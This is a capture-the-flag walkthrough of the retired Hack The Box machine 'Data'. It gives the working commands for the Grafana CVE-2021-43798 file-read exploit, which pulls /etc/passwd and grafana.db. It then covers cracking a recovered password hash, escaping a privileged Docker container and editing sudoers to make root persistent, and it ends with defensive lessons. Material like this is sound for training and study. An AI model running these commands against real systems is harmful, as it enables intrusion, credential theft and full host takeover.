root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat data.md
// writeups

Data

1 Jul 2025 · 9 min read
Data - maquina de Hack The Box

Executive summary — Data is an Easy Linux box that mirrors a very realistic scenario: a Grafana v8.0.0 panel exposed on port 3000 is vulnerable to CVE-2021-43798, an unauthenticated path traversal / LFI. With it we exfiltrate Grafana's SQLite database (grafana.db), crack boris's PBKDF2-HMAC-SHA256 hash and SSH in. Once inside, sudo -l reveals a NOPASSWD entry on docker exec: dropping into a running container as root with --privileged lets us mount the host disk and fully escape the container. Path: Grafana LFI -> grafana.db -> boris -> sudo docker exec --privileged -> mount the host -> root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.234.47

Attack map

[3000] Grafana v8.0.0 -> CVE-2021-43798 (path traversal / LFI)
   |  read /var/lib/grafana/grafana.db (SQLite)
   v
[HASH] boris (PBKDF2-HMAC-SHA256) -> cracked -> beautiful1
   |
   v
[SSH]  boris : beautiful1  (user.txt)
   |  sudo -l -> NOPASSWD: /snap/bin/docker exec *
   v
[DOCKER] exec -it --privileged --user root <container> bash
   |  inside, privileged: mount /dev/sda1 /mnt
   v
[ROOT] host disk mounted at /mnt (root.txt + sudoers)

1. Reconnaissance

Before touching anything: a full port sweep, then a version/script scan against whatever is open, so we don't miss a service sitting on a high port.

nmap -p- --min-rate 10000 10.129.234.47 -oN scan.txt
nmap -p22,3000 -sCV 10.129.234.47 -oN scan_services.txt
PortServiceDetail
22SSHOpenSSH 7.6
3000HTTPGrafana

Two useful clues from the first scan already: the response's TTL differs from what a plain Linux host usually shows, which often gives away that the service is running inside a container; and port 3000 (instead of the usual 80/443) signals the web app as the main vector, while SSH is left for later, once we have credentials.

2. Web panel analysis

We visit http://10.129.234.47:3000 and land on a Grafana login. The landing/version banner identifies the instance as Grafana v8.0.0 — that version number is the key hint for finding public exploits.

3. Identifying the vulnerability — CVE-2021-43798

Before trying brute force or hunting for forms, we check whether the version has known CVEs. With Grafana the answer is immediate.

CVE-2021-43798 is a directory traversal / LFI in Grafana's plugin path (affects 8.0.0-beta1 through 8.3.0): the /public/plugins/<plugin-id>/ endpoint doesn't properly validate the requested path, so by prepending ../ we can escape the plugin directory and read any file on the server without authentication.

4. Exploiting the LFI

Basic test against /etc/passwd to confirm the traversal:

curl --path-as-is 'http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'

The --path-as-is flag is essential: without it, curl normalizes the URL and collapses the ../ segments before sending the request, so the traversal never reaches the server.

With the password file readable, we confirm the LFI works and move on to something juicier than system credentials: Grafana's own database.

5. Exfiltrating the database

Grafana stores users, dashboards and datasources in a SQLite database, by default at /var/lib/grafana/grafana.db. We download it through the same LFI:

curl --path-as-is 'http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o grafana.db
file grafana.db

file confirms we downloaded a valid SQLite file and not an HTML error page.

6. Database analysis and credentials

sqlite3 grafana.db
.tables

Among the tables is user, with the columns we care about: login, password hash and salt.

select login, password, salt from user;

The query returns (hash and salt shortened here for brevity) two users: admin and boris, each with its own hash and salt.

admin | <hash> | <salt>
boris | <hash> | <salt>

7. Cracking the hash

Grafana derives passwords with PBKDF2-HMAC-SHA256. It's a deliberately slow algorithm (resistant to fast brute force), but a dictionary password still falls if we have the hash and salt. Cracking boris's hash gives us the plaintext password:

boris : beautiful1

8. SSH access and user.txt

sshpass -p beautiful1 ssh boris@10.129.234.47
whoami
cat ~/user.txt

9. Local enumeration — sudo -l

With regular user access, the first thing to check is always what can be run as root without a password.

sudo -l

The result is the key to the whole escalation:

(root) NOPASSWD: /snap/bin/docker exec *

boris can run docker exec as root, without a password, and with any argument (the * wildcard includes flags like --privileged and --user root). That's equivalent to full control of the host: just drop into an existing container in privileged mode as root.

10. Privilege escalation — docker exec --privileged

First we identify a running container:

ps aux | grep docker

With the container ID (for example e6ff5b1cbc85), we enter as root and in privileged mode using the passwordless sudo:

sudo docker exec -it --privileged --user root e6ff5b1cbc85 bash

--user root gives us root privileges inside the container; --privileged is the real problem: it disables Docker's namespace and capability isolation, exposing the host's real block devices (like /dev/sda1) inside the container.

11. Container escape — mounting the host disk

Being privileged, the container sees the host's physical disk. We mount it:

mount /dev/sda1 /mnt

From here /mnt is the machine's real filesystem, outside container isolation. We read the flag directly:

cat /mnt/root/root.txt

12. Persistent root shell

To avoid repeating the docker exec dance every time, we edit the host's real sudoers file (reachable via /mnt) and add a passwordless entry for boris:

nano /mnt/etc/sudoers
# add:
# boris ALL=(ALL) NOPASSWD: /bin/bash

We exit the container and, back in the regular SSH session as boris, get a direct root shell on the host:

exit
sudo bash
id

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdGrafana v8.0.0CVE-2021-43798 (path traversal / LFI)Arbitrary file read -> grafana.db
Credentialsgrafana.db (SQLite)PBKDF2 hash crackable by dictionarySSH as boris
PrivEscsudoers (/snap/bin/docker exec *)Unrestricted NOPASSWD wildcard (allows --privileged)Root inside the container
Escape--privileged containerDirect access to host block devicesMount host disk and real root

Lessons learned

  • Update Grafana: CVE-2021-43798 reads any file unauthenticated; patch to ≥ 8.3.1.
  • Don't expose Grafana's database: an LFI reaching grafana.db hands over every user hash.
  • Strong passwords: even with PBKDF2, a dictionary password still falls; use long, unique passphrases.
  • Never grant NOPASSWD on docker exec *: the wildcard lets an attacker sneak in --privileged and --user root, which is equivalent to host root.
  • Avoid --privileged unless strictly necessary: it breaks Docker's isolation and exposes host devices to the container.